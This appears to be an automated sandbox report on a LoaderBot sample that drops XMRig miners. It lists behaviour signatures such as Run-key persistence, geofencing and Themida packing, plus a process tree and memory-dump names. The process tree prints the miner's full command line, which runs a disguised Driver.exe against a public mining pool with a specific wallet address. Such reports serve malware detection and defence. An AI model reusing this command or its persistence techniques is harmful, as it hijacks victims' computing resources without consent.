Analysis
- max time kernel
184s - max time network
216s - platform
windows10-2004_x64 - resource
win10v2004-20231020-en - resource tags
- submitted
22/10/2023, 12:52
General
- Target 2648-24-0x0000000000E00000-0x0000000001834000-memory.exe
- Size 10.2MB
- Sample231022-p4gnsaab76
- SHA256 2425703be93685d101d68f68f005c25b61330cfc3efc017e984630cde7760c79
Malware Config
Signatures
- LoaderBot
LoaderBot is a loader written in .NET downloading and executing miners.
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- LoaderBot executable 1 IoCs
- XMRig Miner payload 13 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 1 IoCs
- Executes dropped EXE 3 IoCs
- Themida packer 1 IoCs
Detects Themida, an advanced Windows software protection system.
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 2 IoCs
- Suspicious behavior: RenamesItself 1 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2648-24-0x0000000000E00000-0x0000000001834000-memory.exe"C:\Users\Admin\AppData\Local\Temp\2648-24-0x0000000000E00000-0x0000000001834000-memory.exe"1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 42K92y1uNN7PxEp57QZPiLQogD8pGGRjWQnqEemCTsXMSnqrhagsVujaeBc38hqrX88YL8Wh9pNQHRzTN7GBw8SqQkGBwg7 -p x -k -v=0 --donate-level=1 -t 42⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 42K92y1uNN7PxEp57QZPiLQogD8pGGRjWQnqEemCTsXMSnqrhagsVujaeBc38hqrX88YL8Wh9pNQHRzTN7GBw8SqQkGBwg7 -p x -k -v=0 --donate-level=1 -t 42⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe"C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 42K92y1uNN7PxEp57QZPiLQogD8pGGRjWQnqEemCTsXMSnqrhagsVujaeBc38hqrX88YL8Wh9pNQHRzTN7GBw8SqQkGBwg7 -p x -k -v=0 --donate-level=1 -t 42⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Driver.exe
Driver.exe
Driver.exe
Driver.exe
Driver.exe
memory/1384-7-0x00000000058B0000-0x00000000058C0000-memory.dmp
memory/1384-1-0x0000000000450000-0x0000000000E84000-memory.dmp
memory/1384-6-0x0000000005B30000-0x0000000005B96000-memory.dmp
memory/1384-5-0x00000000058B0000-0x00000000058C0000-memory.dmp
memory/1384-0-0x00000000749D0000-0x0000000075180000-memory.dmp
memory/1384-4-0x00000000749D0000-0x0000000075180000-memory.dmp
memory/2812-24-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/2812-33-0x0000000002020000-0x0000000002040000-memory.dmp
memory/2812-23-0x0000000000530000-0x0000000000550000-memory.dmp
memory/2812-34-0x0000000002040000-0x0000000002060000-memory.dmp
memory/2812-25-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/2812-26-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/2812-27-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/2812-28-0x0000000000550000-0x0000000000570000-memory.dmp
memory/2812-29-0x0000000002020000-0x0000000002040000-memory.dmp
memory/2812-30-0x0000000002040000-0x0000000002060000-memory.dmp
memory/2812-31-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/2812-32-0x0000000000550000-0x0000000000570000-memory.dmp
memory/3828-41-0x0000000002000000-0x0000000002020000-memory.dmp
memory/3828-43-0x0000000002040000-0x0000000002060000-memory.dmp
memory/3828-51-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/3828-37-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/3828-38-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/3828-39-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/3828-40-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/3828-50-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/3828-42-0x0000000002020000-0x0000000002040000-memory.dmp
memory/3828-49-0x0000000002060000-0x0000000002080000-memory.dmp
memory/3828-44-0x0000000002060000-0x0000000002080000-memory.dmp
memory/3828-45-0x0000000002000000-0x0000000002020000-memory.dmp
memory/3828-46-0x0000000002020000-0x0000000002040000-memory.dmp
memory/3828-47-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/3828-48-0x0000000002040000-0x0000000002060000-memory.dmp
memory/4280-20-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/4280-19-0x0000000140000000-0x0000000140B75000-memory.dmp
memory/4280-18-0x0000000000400000-0x0000000000414000-memory.dmp